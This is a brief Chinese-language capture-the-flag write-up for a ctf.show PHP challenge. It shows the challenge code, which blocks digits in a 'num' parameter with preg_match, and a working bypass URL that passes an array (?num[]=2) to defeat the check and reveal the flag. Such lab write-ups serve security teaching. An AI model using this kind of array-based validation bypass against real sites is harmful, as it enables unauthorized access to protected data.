代码分析
<?php
include("flag.php");
highlight_file(__FILE__); //highlight_file语法高亮一个文件
if(isset($_GET['num'])){ //isset检测是否已声明变量且值不为 null
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){ //preg_match执行匹配正则表达式
die("no no no!");
}
if(intval($num)){ //intval获取变量的整数值
echo $flag;
}
}
文字分析:输入一个num的值,但是值不能为0-9,用数组绕过,即可获取flag
输入:
http://292a6976-1520-4d2f-a612-2224de18509e.challenge.ctf.show/?num[]=2
//?num[]=2,2是可以修改的